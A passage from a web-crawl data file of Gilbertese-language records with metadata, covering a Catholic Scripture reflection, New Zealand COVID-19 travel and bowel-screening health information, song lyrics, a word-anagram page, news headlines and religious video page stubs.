ni kateimatoaingkami, ma ni karei tibangami i buakoia akana katabuaki ni kabaneia. I tuai man butia temanna te tirewa ke te koora ke te kunnikai. Kam bon ataia ba boni baiu aikai aika karekei baika I kainnano iai, ngai ma raou. I a tia ni kaotia nakoimi, n arou nako, ba ti riai ni keiaki n ai aron anne, ba ti na buokiia iai akana mamara, ao tin a uringa ana taeka i muin ana taeka akanne, ao e katororbubua n tataro ma ngaia ni kabaneia. Ao a bane n tang ma ni bakara roroana ni kaboria ma ngaia; ao a bati n nanokawaki riki n ana taeka are taku ba a na aki manga nora matana. Ao a iria nakon te kaibuke ni bakaborauia.\nTe Taramo: 68: 29-30, 33-36\nKaekana: Anenea te Atua, botanaomata nako.\nTe Atua, tuatua n ai aroni makam, Makam ae ko makuri iai I bukira.\nA na kawariko uea ma aia karea, n am Temboro i etani Ierutarem. K\nBotanaomata aonaba, anenea te Atua, Neboa te Uea ae tokara karawa, Ae karawa mangkoa.\nOngo banana, ba te bana ae korakora. Kakoaua makan te Atua. K\nE toka mimitongina i aoni Iteraera, Ao korakorana i aon te nang.\nE kakamaku te Atua ni mwengana ae tabu, Bon Atuaia Iteraera.\nE angan ana botanaomata te maka ma te korakora, E na karaoiroaki te Atua. K\nAlleluia, alleluia\nE na reireingkami bai ni kabane te Tamnei ae Raoiroi, ao E na kauringkami bai ni kabane aika I tuangingkami. Alleluia\nTe Euangkerio\nWareken ana Euangkerio Ioane 17: 11-19\nE tararake Iesu nako karawa, ao E kangai: \"Tamau ae ko tabu, kawakinia ake ko anganai i nanon te kakaonimaki nakon aram, ba a aonga n ti teuana n ai arora. Ngke I mena i buakoia, ao I kawakinia ake ko anganai i nanon te kakaonimaki nakon aram. I kawakinia, ao akea temanna ae bua ba ti teuare na boni bua, ba e aonga ni kakoroaki bukin te koroboki. Ma I a nakoim ngkai, ao I taekina aei ngkai I mena i aonteaba, ba tiaki mai aonteaba ngaia, n ai arou ae tiaki mai aonteaba Ngai. I aki butiko ba ko na anaia mai aonteaba, ma Ko na kawakinia mairoun teuare buakaka. Tiaki ana bai aonteaba ngaiia, n ai arou ae tiaki ana bai aonteaba Ngai. Katabuia i nanon te koaua: am taeka bon te koaua. Ko kanakoai nako aonteaba. I katabuai i bukia, ba a aonga ni katabuaki naba i nanon te koaua.\"\nTibatiba: I katabuai i bukia, ba a aonga ni katabuaki naba i nanon te koaua.\nAikai bon ana taeka Iesu ni muiokoia tarira ao manera inanon ara kakawakin ba aonga n aki bua ma a na maiu n aki totoki. Ti kauringaki ngaira tan kairiri ao tan kawkain tibu ba ti riai ni katabui maiura i bukia ake a muiokoaki maiua iroura, ba a aonga ni katabuaki naba nakon ana kantaninga te Atua ae moan te tamaroa ibukira ngaira kain te nanai n tibu ae ti teuana aika tan onimaki inanon te koaua ae ti teuana.\nTariu ao maneu ai ti tabeua ngkai te bong ao e a roko te Bentekota. Aio bon kanoan ana berita ni baiu Iesu nakoia ana reirei ao abotoro ngke E kangai nakoia imain ae waerake nako Karawa. \"E riai ba Nna waerake nakon Tamau ba I aonga ni karuoa te tia ibuobuoki are boni Ngaia te tia kakoroi bukin bai nako ake I a tia n tuang ngkami.\nE teretere ikai ba kororaoin bai nako bon reken iroura te maiu ae Onraken te Maiu, ke te maiu ae kairaki iroun te Tamnei ae Raoiroi, ke te maiu ae e inaomata iai te Tamnei ae Raoiroi. Are nanona ba inanon te maiu aio ao ti kairaki iruon te Tamnei ae Raoiroi. Te maiu aio bon te maiu ae aanaki iaon karaoan Nanon Iesu ae bon te Atua te Nati ao Raon te Atua ae Teniman n Temanna ae moan te Tabu mani Mimitong.\nNgkana e inaomata inanora te Tamanei ae Raoiroi ao nanona ngkanne ba ti katabui maiura nakon aran Iesu are E katabua maiuna ibukira nakon ana kanataninga te Tama.\nNgaira ake ti muiokoaki ba tan kairia tarira ma manera nakon te Uea, ti bon riai n ataia ba inanon te muikoaki aio ba a na bane n roko n te Abanuea ae Karawa taria ao manera ao ti bon riai ngkanne ni tabui maiura ba ti aonga n riki ba taian banna ni kairiri nakoia raora ba aonga n roko iroun te Atua te Tama. Ngkana ngaira tan kawakin tibu ti aki maiuna te maiu ae tabu ao ngkane a na bon aki koro nanon muiokoara iroun Iesu ba tan kwakinia ao ni kairia tarira ma manera nakon te Tama ao ti an bon kaekai bukinara iroun te Atua n ara tai ni motikaki taekara.","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira?start=10","date":"2022-10-01T16:43:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030336880.89\/warc\/CC-MAIN-20221001163826-20221001193826-00068.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":4526,"character_repetition_ratio":0.047,"word_repetition_ratio":0.019,"special_characters_ratio":0.231,"stopwords_ratio":0.394,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Te mwamwananga nako Nutiran | Travelling to New Zealand\nE a uki ana matabaiawa Nutiran. Kaekae nako bwa tera bwaai aika ko kainanoi ni karaoi ngkana kona mwananga nako Nutiran.\nNgkana e a kaoti iroum kanikinaean te COVID-19 inanon rokom i Nutiran | If you develop COVID-19 symptoms while visiting New Zealand\nKaekae nako bwa tera bwaai aika ko kainanoi ni karaoi ngkana e a kaoti iroum kanikinaean te COVID-19 inanon rokom i Nutiran.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/covid19.govt.nz\/languages-and-resources\/translations\/kiribati\/travel\/","date":"2022-12-09T16:14:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711417.46\/warc\/CC-MAIN-20221209144722-20221209174722-00174.warc.gz","language":"gil","language_score":0.9999278784,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9999278783798218}","num_words":72,"character_repetition_ratio":0.083,"word_repetition_ratio":0.159,"special_characters_ratio":0.201,"stopwords_ratio":0.25,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Te kabwarabwara ibukin katarataran te kanoan nano bowel screening - All about bowel screening brochure Kiribati - HE2621\nNational bowel screening campaign brochure in Kiribati. For anyone who needs comprehensive information about bowel screening and bowel cancer.\nThe full resource:\nTe kabwarabwara ibukin katarataran te kanoan nano bowel screening\nAei te booki ibukin rongorongon te bowel cancer ao te bowel screening, ba buokam ni karaoa am babaire ngkana ko tangiria ni karaoa kanoan te buroukuraem ae akea boona ae te National Bowel Screening Program.\nMan karaoan te tutuo ni katoa tai e kona ni moantaai n noraki te bowel cancer ngkana iai, ao man kona ni bwain aorakiaki, ao ni kaota te rongorongo ibukin raoiroin ke buakakan karaoan te tutuo ae te bowel screening.\nTera te National Bowel Screening Program?\nNgkana ko tangira riki tabanin rongorongona:\nTera te bowel?\nTera te bowel cancer?\nTera taian kanikina n te bowel cancer?\nE tabangaki reken te bowel cancer?\nAntai aika e korakora riki rotakia?\nBukin tera ngkai e kakawaki karaoan te bowel screening ni katoa tai?\nTera te tutuo ae te bowel screening?\nE kangara arou ni karaoan te tutuo?\nE karaoaki te tutuo (screening) ibukia aomata ae akea te kanikina n oti irouia.\nAntai aika a riai n taetae nakon aia taokita?\nAntai te koraki ae aki riai ni karaoa te tutuo ae te bowel screening?\nE na kangara n reke mwin au tutuo?\nNingai ae ena reke iai mwin au tutuo?\nTera nanon te tutuo ae negative result?\nTera nanon te tutuo ae positive result?\nTera ae karaoaki n te colonoscopy?\nIai te kanganga (risks) ae e kona n riki man karaoan te colonoscopy?\nI riai ni kabwaka boon te mwakuri ibukin te colonoscopy, ke taian tutuo ma bwain aoraki ao katokana?\nTera ae ena karaoaki ngkana iai irou te bowel cancer?\nTera waekoan ao bebeten katokan te bowel cancer ngkana e bwain aorakiaki?\nA bane n reke taian rongorongo ae I kainanoia?\nAntai ae e kona n nora rongorongou?\nNgkana I aki kukurei n te mwakuri ae I anganaki ke karaoaki, tera kawain tabekan au tangitang?\nNna nako ia ibukin katabaninan rongorongona\nAei te buroukuraem ae akea boona ni buoka aron kuneakin te bowel cancer.\nE karaoaki te buroukuraem aei ni katoa uoua te ririki nakoia mane ao aine ae 60 nakon 70 aia ririki ni maeu aika e tauraoi mwanenakin boon tararuan mauria ao aorakia.\nTe koraki n aomata ae a butimaeaki n ira karaoan te waaki aei e na roko aia:\n- reta ni kaongoaki.\n- te booma ibukin aia kariaia.\n- te bowel screening kit ae akea boona, ao te kaetieti ibukin aron kabonganana.\nE karaoaki te tutuo iaan mwengam ao e bebete aron karaoana.\nE kona n noraki iaon te website te rongorongo ibukia aomata aika a katauaki n reke irouia te ibuobuoki ibukin mwanenakin boon tararuan mauria ao aorakia: www.health.govt.nz ke tareboonia 0800 924 432.\nNgkana ko aki tangiria n ira te waaki ibukin te National Bowel Screening Program, taiaoka tarebonira iaon 0800 924 432 akea boona ao kaongoira.\nTe bowel bon rabwatan te kanoan nano (food digestive system). E toma ma te stomach nakon te anus (bottom) and e buoka kaotinakoan te bwai ae buakaka (te nakotaari) man te rabwata. Te kanoan nano aei (bowel) e katoma te small bowel ao te large bowel (colon) ao te rectum.\nE aranaki te bowel cancer ba te colon, rectal or colorectal cancer.\nE moan riki te Bowel cancer ngkana e rikirake te cells are inanon te bowel n akea tokina. E kona ni bitaki te cells anne nakon te polyp (growth) ao tabeua taian polyps a kona ni bitaki nakon te cancer inanon tabeua te ririki.\nE nakon tabeua te ririki manin te cancer n rikirake ao man butanako nakon bwain rabwatam tabeua.\nKaraoan te tutuo ae te bowel screening ni katoa tai, irouia aomata aika aki namakina te kanikina, e moantaai ni buoka kuneakin ao katokan te bowel cancer n te tai ae waekoa.\nTaian kanikina aika a kaoti ni mwaitin te tai n te bowel cancer n aron aikai;\n- e bitaki te tai ae ko tanneiai iai n nakotaari (bowel) inanon tabeua te wiiki.\n- iai te raraa ibuakon nakotaarim (bowel motion).\nA kona n noraki taian kanikina aikai man aekan aoraki tabeua. E rangin kakawaki ba e na tuoaki taian kanikina aikai iroun am taokita.\nNutiran ngaia te aba n te aonnaba ae te kabanea n rietata mwaitia aika e reke irouia te bowel cancer. Te Bowel cancer ngaia te kauoua n rietata n te aoraki ae te cancer ae a mate iai kain Nutiran. N te tai aei ao e raka iaon 3000 mwaitia aomata ae a kuneaki n reke irouia te bowel cancer ni katoa ririki ao e raka iaon 1200 mwaitia aika a mate man te aoraki aei.\nTe Bowel cancer e tatao n reke irouia aomata aika e raka iaon 60 aia ririki ni maeu, ao e tatao n reke irouia mane ni kabotauaki ma aine.\nKo kona ni kauarerekea rikiraken te bowel cancer man karaoan aikai:\n- man kanakin amwarake ae raoiroi ibukin marurungin rabwatam n aron taian uanikai ma banikai ao amwarake ae korakora iai te fibre.\n- man karaoan te kakamwakuri ni kamarurung.\n- n aki moko.\nNgkana ko a tia n reke ao ni korakora te inflammatory bowel disease, ke iai am utu ae e a tia n reke irouna te bowel cancer, ao e kona n ae ngkoe temanna ae ena kona ni korakora rotakim ao ni kai reke te bowel cancer iroum.\nE kona n akea te kanikina ae kaoti ngkana iai iroum te bowel cancer. E ngae n anne, te tutuo ibukin te bowel screening ni katoa uoua te ririki e kona ni buoka kamanoan maeum.\nNgkana e reke iroum kanikinaean te bowel cancer n te tai ae aki akaaka, e kakawaki ba kona maroro ma am taokita.\nTE tutuo ae karaoaki iroun te National Bowel Screening Program bon te faecal immunochemical test (FIT). E kona n nora mwin ke taribiribin kanikinaen te raraa ni kaoti ibuakon nakotaarim (bowel motion, poo). Man kaotin aei, e anga te kauring ba iai te bai ae riki ae aki raoiroi n am bowel. Ko karaoa tuoan aei bon iroum iaan mwengam.\nTe tutuo aei akea boona ao e bebete man tawe aron karaoana bon iroum iaan mwengam\nKaraoa te tutuo aei n te tai ae angaraoi. E kakawaki ba kona karaoa te tutuo aei inanon onoua te namakaina n te tai are e reke iroum am kete (test kit). E aki kona ni butimaeaki ao ni karaoaki mwin taian tutuo ngkana e a bakanako taina.\nIbukin karaoan te tutuo, ko riai:\n- n rikoa teutana te nakotaari man am poo ni kabongana te test stick, ao ni karinna inanon nnena (tube).\n- karina te sample inanon te zip-lock bag ao n korea bongin namakaina ao ni kanoa te booma ibukin te kariaia (completed consent form).\n- kanakoa n te post n te tai ae waekoa n te reply- paid envelop ae ko anganaki.\nKawakina te tiambo (sample) n te tabo ae nubono man mwau ao abue. E aki riai ni karinaki inanon te aitibaoki. Kanakoa am tutuo n te bong naba anne ke n te bong are imwina ba e kona n buakaka mwin am tiambo (test samples) ngkana iai te iremwe.\nMwaitia aomata ae man 60 nakon 70 aia ririki ni maeu ao akea te kanikina ni kaoti irouia n te aoraki ae te bowel cancer a kona ni karaoa te tutuo ae te bowel screening test.\nTabeman aomata e korakora riki rotakia ao ni kakai reke irouia te bowel cancer.\nTaian kanganga ae karika waekoan rekena iroum bon man aikai:\n- uoman ke e raka iaon uoman mwaitia kain am utu man am itera ni kauoua ae e a tia n reke te bowel cancer irouia.\n- iai kain am utu ae ko rangin kaan ma ngaia ae e tuoaki n reke te bowel cancer irouna ngke e uarereke (iaan 55 ana ririki ni maeu).\n- iai iroum ma am utu ataakina ke kanamakinana ba iai rikiaia ke raraam ni bowel cancer syndrome inanon te utu.\n- e a tia n reke te inflammatory bowel disease ae korakora iroum n aron te ulcerative colitis, inanon te tai ae maan n raka iaon 10 te ririki.\nNgkana iai iroum teuana mai ibuakon taian kanganga aikanne (risk factors) ao ko riai ni maroro ma am taokita n te tai are ko kawaria iai.\nKo riai ni karaoa te tutuo ibukin te bowel screening test, e ngae ngkana iai teuana mai ibuakon te kanganga (risk factors) ae reke ke ni kaineti nakoim.\nE aki karaoaki te tutuo ae te Bowel screening nakoia aomata ni kabane. Ko aki riai ni karaoa te bowel screening program ngkana ko:\n- iai kanikinaean te bowel cancer.\n- ko a tia ni karaoa te colonoscopy inanon nimaua te ririki n nako.\n- ko toka iaon te bowel polyp ke bowel cancer surveillance program.\n- ko a tia, ke ko tabe ni katokaki ao ni kamaoaki aorakim ibukin bowel cancer.\n- e a tia ni kanakoaki am large bowel.\n- iai iroum te aoraki ae te ulcerative colitis ke Crohn's disease ae tabe ni maeu.\n- ke tabe ni kawara am taokita ni maroro ibukin am kanganga ke bowel problems.\nNgkana ko aki raoi koaua ba e raoiroi ibukin te bowel screening, ko kona ni maroro ma am taokita.\nNgkana ko a tia ni karaoa te colonoscopy inanon nimaua te ririki n nako ao akea manga taorimwian karaoan aei ae e a tia ni baireaki ibukim, taiaoka kaongoira. Ti na weteiko ba kona manga ira te waaki aei (program) ngkana ko kariaiakaki ni karaoia, nimaua te ririki man te tai are e karaoaki iai am colonoscopy. Ko kona n tarebon nakon 0800 924 432 akea boona.\nIai ae ena reitaki nakoim ni kaongoko mwin am tutuo (result) ao ni kabwarabwara mwina nakoim. E na kona n tareboniko am taokita ke te neeti.\nE na roko iroum mwin am tutuo (result) inanon teniua te wiiki man te tai are ko a tia ni bane ni karaoa te bowel screening ao ni kanakoa mwina. Ngkana e aki reke mwin am tutuo (result) inanon teniua te wiiki, taiaoka tarebon nakon te National Bowel Screening Program akea boona n are 0800 924 432, ke imeeri nakon firstname.lastname@example.org.\nNgkana e oti mwin am tutuo ba e negative result nanona ngkanne ba ko aki tangira te manga tutuo ibukin karaoan te kakae n te tai aei.\nE kakawaki kona ataia ba:\n- te tutuo ae te screening test e kona n nora mwin te raraa ngkana e kaoti ibuakon te nakotaari ke bowel motion, ao tabeua taian cancer akea te raraa n nako ae kaoti n taai Nanona ba n tabetai e kona n aki noraki te cancer ao ni kuneaki.\n- te bowel cancer e kona n riki imarenan taai aika e karaoaki iai te tutuo ke screening tests.\nAei bukina ae karaon te tutuo screening ni katoa tai e rangin kakawaki. E na roko te kakao nakoim ibukin karaoan te screening ni katoa uoua te ririki, ngkana ko katauaki ni karaoia.\nNgkana e kaoti kanikinaean te bowel cancer n te tai ae aki akaaka, e rangin kakawaki ba kona taetae ma am taokita.\nNgkana e positive result mwin am tutuo tiaki nanona ba iai iroum te bowel cancer.\nTe tutuo ae te screening test e kona n noraki mwin taribiribin te raraa aika uarereke ni kaoti ibuakon nakotaarim ke bowel motion (poo).\nE riki ni kaoti taian raraa ae uarereke man taian polyps (growths) ke man aoraki tabeua n aron te haemorrhoids (piles), ae a kona ni katokaki man bwain aoraki.\nTaian polyps tiaki te cancer, ma a kona ni maeu n riki ba te cancer inanon ririki aika mwaiti.\nKorakoran mwaitin taian polyps e bebete aron kanakoana ke ni koutaki n te colonoscopy, ni kauarerekea te kabuanibai n reken te bowel cancer.\nNgkana mwin am tutuo e positive nanona ngkanne ba ko riai ni karaoa riki taian tutuo (tests) ibukin te karaoan te kakae ae tabanin. Aei e karaoaki n te colonoscopy. Te colonoscopy e kona ni kunea te bowel cancer n te tai ae e moana rikina iai, ao man kona ni katokaki n te bwain aorakiaki nte tai ae waekoa.\nAm taokita ke te neeti ae ena reitaki nakoim ni maroroakina mwin am tutuo (results) ao tera aekakin te tutuo ae ena karaoaki ao man raoiroi ibukim.\nNgkana iai rikiam inanon am utu n reke te aoraki ae te bowel cancer, ko kona n tuangaki ba kona maroro ma am taokita, ke ni kanakoaki nakon te New Zealand Familial Gastrointestinal Cancer Service.\nTe colonoscopy e karaoaki irouia taani mwakuri ibukin te kuakua ae bane aroia n rabakau ibukin te itera aei ao a karina te tube man am anus (bottom). Iai te kain rawetamnei ae uarereke (small camera) ae nim itabon te tube ao e kabonganaki n kataratara te kanoan nano ke bowel lining, n noria ngkana iai te kanganga ae riki nakon kanoan nanom. Te colonoscopy e kona ni kunea ngkana iai te polyps ke cancers ni kaoti ao ni maeu.\nE anaaki te tiambo (sample) ae uarereke ke te biopsy ngkana e kuneaki te cancer, ao a bane ni koutaki ni kamwawaki taian polyps ngkana a maeu ao ni kuneaki. Taian tiambo (samples) ke polyps aike a koutaki ni kamawaki a kanakoaki nakon te laboratory ibukin te analysis n tuoaki ibukin te cancer.\nTaian polyps tiaki te cancer, ma a kona n bitaki nakon te cancer inanon ririki aika bati. Koutakin ke kamwawan taian biopsy ke polyps e aki kamaraki.\nE nakon 7 ni katoa 10 mwaitia aomata ae a tia ni karaoa te colonoscopy man te waaki ae te National Bowel Screening Program ae iai irouia te polyps, ao ngkana a koutaki man kamwawaki ao e kona n totokoa maeun ke rikiraken te cancer.\nE nakon 7 man 100 mwaitia aomata ae a tia ni karaoa te colonoscopy man te waaki ae te National Bowel Screening Program ae a kuneaki n reke irouia te cancer ao mwaiti te koraki aei a kainanoa katokana n te bwain aoraki.\nE kantaningaki te Colonoscopy ba e mano man raoiroi karaoana. E ngae n anne, n aron mwaitia taian waaki ni katoki aoraki, e kona n reke te kanganga n taai tabetai. E uarereke reken te ananga ni kabuanibai man karaoan te mwakuri n colonoscopy, ke koutakin ao kamwawan te polyps e kona ni korakora iai te raraa ke n uruaki am bowel ao kona bae ni kainanoa katokana ma te bwain aoraki ae bati.\nI riai ni kabwaka boon te mwakuri ibukin te colonoscopy, ke taian tutuo ma bwain aoraki ao katokana?\nNgkana ngkoe temanna ae ko kariaiakaki ba kona ira te waaki ibukin te National Bowel Screening Program, karaoan te colonoscopy n ikotaki ma te manga tutuo ao katokana iaan te public health system a bon aki kaboaki.\nNgkana ko kuneaki n reke iroum te bowel cancer kona kanakoaki ba kona nora te bakuaku ibukin te aoraki anne (specialist). Te mwakuri ibukin katokan te bowel cancer bon te korokoro (surgery). N tabeua taian keiti e karaoaki te chemotherapy ke te\nradiotherapy ae e baireaki ba ena karaoaki nakoim.\nTaian aomata ae a kuneaki n reke irouia te bowel cancer ni moantaai e korakora riki waekoan tokin aorakia man te bwain aoraki are e katokaki iai. Ngkana e a tiba kuneaki te cancer imwin te tai ae man, ke n roko ni korakorana, e na rangin kanganga ao ni matoa aron katokana.\nE rangin kakawaki ba kona mataata raoi n taekan te tutuo ae te bowel screening imwain ae ko kaotinakoa am babaire ba ko na ira buakon te waaki ae te National Bowel Screening Program ao ni karaoa te tutuo ae te screening test.\nIbukin tabanin rongorongon te National Bowel Screening Program:\n- nakon are timetobowelscreen.nz\n- tarebonia 0800 924 432 akea boona\n- imeeri nakon email@example.com\nTe rongorongo ibukin karaoan te katautau (assessment) ke ibukin katokan te aoraki ae ko kainanoia ana rikoaki man te public ao private health services ao ana kabonganaki ibukin taran (monitor) ao kaetan (evaluate) te mwakuri ni kabutan te National Bowel Screening Program.\nRongorongom ao taekam ae a rikoaki, a kawakinaki ao man kona n noraki ao ni kamaunaki iaan te kaetieti ae tabangaki karaoana ni ira tuan te Privacy Act 2020.\nTe Code of Health and Disability Services Consumers' Rights e kariaia ba kona karokoa am tangtang ni kawaina ae riai man raoiroi ibukim.\nNgkana ko tangiria ni karaoa am tangtang ibukin te program ke man te mwakuri ae ko anganaki, ko kona n tarebonia te National Bowel Screening Program iaon 0800 924 432, ke imeeri nakon firstname.lastname@example.org, ibukin tabanin rongorongona n ataia ba tera kawaina ae te kabanea n tamaroa ibukim.\nIbukin rongorongon riki te National Bowel Screening Program:\n- taiaoka nakon timetobowelscreen.nz\n- tarebonia 0800 924 432 akea boona\n- imeeri email@example.com\n- ke taetae nakon am taokita.\nAll about bowel screening DL brochure Kiribati July 2022","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/healthed.govt.nz\/products\/te-kabwarabwara-ibukin-katarataran-te-kanoan-nano-bowel-screening-all-about-bowel-screening-brochure-kiribati-he2621","date":"2023-01-27T00:38:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764494852.95\/warc\/CC-MAIN-20230127001911-20230127031911-00827.warc.gz","language":"gil","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 1.0000094175338745}","num_words":2767,"character_repetition_ratio":0.098,"word_repetition_ratio":0.02,"special_characters_ratio":0.213,"stopwords_ratio":0.329,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Baby Girl (feat. Takky Boy)\nRokou i abana ikai she said Bula and Welcome oh yea E kairai bwa nna tiku irouna N te uana te uteero oh yea E kairiirai taboni baina ao e anoanoai Ana body ma ia maiu iai I nimnimtia ngai ma ni konna Ao e tuangai kona mauri Tei Kiribati Baby girl mah Baby girl Oiko utogu Lewa Papa loloma lewa Baby I love you Baby girl mah Baby girl Boni ngkoe née Burou Neiko Neiere au tangira Neiko I tangiriko E kamaiu iangoana Ngkana koa tangiria Ma nanou Te kan tiku irarikina E bwaka nanou ngai Irouna ni katoa tai I kan tiku irarikina E kairiirai taboni baina ao e anoanoai Ana body ma ia maiu iai I nimnimtia ngai ma ni konna Ao I tuanga I love you mah Baby Baby girl mah Baby girl Oiko utogu Lewa Papa loloma lewa Baby I love you Baby girl mah Baby girl Boni ngkoe née Burou Neiko Neiere au tangira Neiko I tangiriko\nWritten by: Ada Moote\nLyrics © DistroKid\nLyrics Licensed & Provided by LyricFind\nDiscuss the Baby Girl (feat. Takky Boy) Lyrics with the community:\nCitation\nUse the citation below to add these lyrics to your bibliography:\nStyle:MLAChicagoAPA\n\"Baby Girl (feat. Takky Boy) Lyrics.\" Lyrics.com. STANDS4 LLC, 2024. Web. 17 Apr. 2024. .","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.lyrics.com\/lyric-lf\/12774519\/Ten+Ada\/Baby+Girl+%28feat.+Takky+Boy%29","date":"2024-04-17T18:35:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817171.53\/warc\/CC-MAIN-20240417173445-20240417203445-00133.warc.gz","language":"gil","language_score":0.6505618095,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.6505618095397949, \"pcm_Latn_score\": 0.12235642969608307, \"mri_Latn_score\": 0.013599550351500511, \"sps_Latn_score\": 0.012937209568917751, \"fij_Latn_score\": 0.012578314170241356}","num_words":215,"character_repetition_ratio":0.091,"word_repetition_ratio":0.32,"special_characters_ratio":0.23,"stopwords_ratio":0.181,"flagged_words_ratio":0.0,"lang_id_score":0.556,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"search?\nSelect length of the word, type known letters in the word cells\n5 letters in word \"tinea\": A E I N T.\nAnagrams of tinea:\nWords found within tinea:\nae ai ain aine ait an ane ani ant ante anti at ate ea ean eat en et eta etna in it ita na nae nat ne neat net nie nit nite ta tae tai tain tan tane te tea ten ti tie tin tine","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/tinea.worddetector.com\/","date":"2017-04-23T07:50:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118310.2\/warc\/CC-MAIN-20170423031158-00157-ip-10-145-167-34.ec2.internal.warc.gz","language":"gil","language_score":0.3540893495,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.3540893495082855, \"sps_Latn_score\": 0.11523306369781494, \"dgz_Latn_score\": 0.061692994087934494, \"sco_Latn_score\": 0.05803891643881798, \"aoz_Latn_score\": 0.05748431757092476, \"mpt_Latn_score\": 0.05148043483495712, \"gom_Latn_score\": 0.03921704366803169, \"kbm_Latn_score\": 0.019647793844342232, \"pcm_Latn_score\": 0.018557509407401085, \"taq_Latn_score\": 0.018509071320295334, \"bch_Latn_score\": 0.014267954975366592, \"zea_Latn_score\": 0.01386574748903513, \"eng_Latn_score\": 0.011713515035808086}","num_words":74,"character_repetition_ratio":0.019,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.108,"flagged_words_ratio":0.0,"lang_id_score":0.305,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"News Headlines: A taboro araia tabeman n anaboki TUC rinerine. | E tiku n arona aia boo n te ika taan bakaukau n TUC. | E na karoko i Kiribati ana kai n uakai te uea n Aine….etc\nKiribati Updates news for you on radiotv network live from our studio in Bairiki Tarawa Kiribati.\nPosted by Mataiti Bwebwe on Monday, October 16, 2017\nNews Headlines:A taboro araia tabeman n anaboki TUC rinerine… E tiku n arona aia boo n te ika taan bakaukau n TUC… E na karoko i Kiribati ana kai n uakai te uea n Aine….etc\nWatch video above for the complete news.\n(note volume mute by default please turn up volume)","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/kiribatiupdates.com.ki\/2017\/10\/17\/a-taboroboro-araia-tabeman-n-ana-boki-tuc-scholarship-ibukia-taan-takakaro\/","date":"2017-11-23T09:01:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806768.19\/warc\/CC-MAIN-20171123085338-20171123105338-00119.warc.gz","language":"gil","language_score":0.9940072298,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9940072298049927}","num_words":110,"character_repetition_ratio":0.072,"word_repetition_ratio":0.475,"special_characters_ratio":0.231,"stopwords_ratio":0.245,"flagged_words_ratio":0.0,"lang_id_score":0.992,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"What Happens at a Kingdom Hall? KAREKEI N AEKAIA AIKAI What Happens at a Kingdom Hall? Karekean te taamnei aika raweaki n aekaia aika MP4 Tibwaia TE TAAMNEI AE REREITAKI What Happens at a Kingdom Hall? Kiribati What Happens at a Kingdom Hall? https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/whkh\/univ\/wpub\/whkh_univ_lg.jpg Tibwaia Tibwaia TE TAAMNEI AE REREITAKI What Happens at a Kingdom Hall? Kiribati What Happens at a Kingdom Hall? https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/whkh\/univ\/wpub\/whkh_univ_lg.jpg","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/taamnei\/What-Happens-at-a-Kingdom-Hall\/","date":"2018-01-19T15:45:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084888041.33\/warc\/CC-MAIN-20180119144931-20180119164931-00252.warc.gz","language":"gil","language_score":0.6072891355,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.6072891354560852, \"gaa_Latn_score\": 0.036703504621982574, \"chk_Latn_score\": 0.035178594291210175, \"lus_Latn_score\": 0.029012739658355713, \"mri_Latn_score\": 0.025746790692210197, \"rar_Latn_score\": 0.021165329962968826, \"sps_Latn_score\": 0.020071350038051605, \"tvl_Latn_score\": 0.015804871916770935, \"twi_Latn_score\": 0.01086745597422123, \"mah_Latn_score\": 0.010821815580129623}","num_words":64,"character_repetition_ratio":0.18,"word_repetition_ratio":0.364,"special_characters_ratio":0.196,"stopwords_ratio":0.234,"flagged_words_ratio":0.0,"lang_id_score":0.31,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Why Study the Bible? KAREKEI N AEKAIA AIKAI Why Study the Bible? Karekean te taamnei aika raweaki n aekaia aika MP4 Tibwaia TE TAAMNEI AE REREITAKI Why Study the Bible? Kiribati Why Study the Bible? https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/wsb\/univ\/wpub\/wsb_univ_lg.jpg Tibwaia Tibwaia TE TAAMNEI AE REREITAKI Why Study the Bible? Kiribati Why Study the Bible? 